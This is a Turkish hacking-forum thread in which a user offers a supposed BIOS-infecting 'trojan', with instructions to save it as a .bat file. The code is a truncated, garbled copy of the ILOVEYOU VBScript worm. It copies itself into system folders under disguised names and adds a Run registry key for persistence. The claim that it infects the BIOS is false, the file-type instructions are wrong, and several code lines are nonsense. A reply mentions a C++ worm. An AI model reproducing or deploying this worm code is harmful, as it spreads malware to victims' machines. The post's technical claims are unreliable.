İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Bilgisayar sistemini tamamen kapatma

02-04-2017 10:59
#1
Üyelik tarihi:
03/2017
Mesajlar:
47
Teşekkür (Etti):
1
Teşekkür (Aldı):
3
Konular:
1
Ticaret:
(0) %
Merhaba arkadaşlar size vereceğim trojen virüs diğerleri gibi format atınca düzelmiyor. Bu ise bios'a işliyor.

Peki BİOS nedir? BIOS (Basic Input Output System), giriş ve çıkış aygıtlarını kontrol ederk sistemin açılmasını sağlar. BIOS, kalıcı bir yazılım olup ROM bellekte saklanır. Anakart’ın birçok özelliğini kullanmamıza olanak sağlayan yazılım, sistem ve donanımlarımız arasında bağlantı kurar.

Görevleri ise:
RAM, ekran kartı gibi donanımları açılışta (BOOT) test eder.
Donanımların voltaj düzeylerini ayarlar.
Sistemi hard disk dışında bir sistemde çaıştırmak için başlangıç sürücüsünü belirlemeye yarar.
Donanımların frekans ayarlarını yapar.
Kullanılmayan donanım parçalarını kapatmamıza olanak sağlar

SIRA GELDİ VİRÜSE .txt den .bat a çevirin ( Dosyamızın adı THT olsun metin belgesinden farklı kaydede tıklıyoruz ve orada dosya adı THT.txt diye çıkar adını şöyle yapıyoruz THT.bat ve dosya türünü tüm dosyalar yapıyoruz ve kaydediyoruz. Eğer ekrana yeni bir simge geldiyse bu simge ayar çarkı gibi işlem başarılı olmuştur.) SAKIN SİZ TIKLAMAYIN

rem delete -pcas(-vbe)

On es error -pc

On error Next Pc Hack

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"


Sıkıntı olursa yorumlara bekliyorum ve de bir teşekkürü eksik etmeyin.

02-04-2017 13:57
#2
Üyelik tarihi:
07/2016
Nereden:
?
Mesajlar:
356
Teşekkür (Etti):
108
Teşekkür (Aldı):
23
Konular:
40
Ticaret:
(0) %
arkadaşlar .bat virüsünün bi işe yaradığı yok c++ dan worm yaptım bakabilirsiniz

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı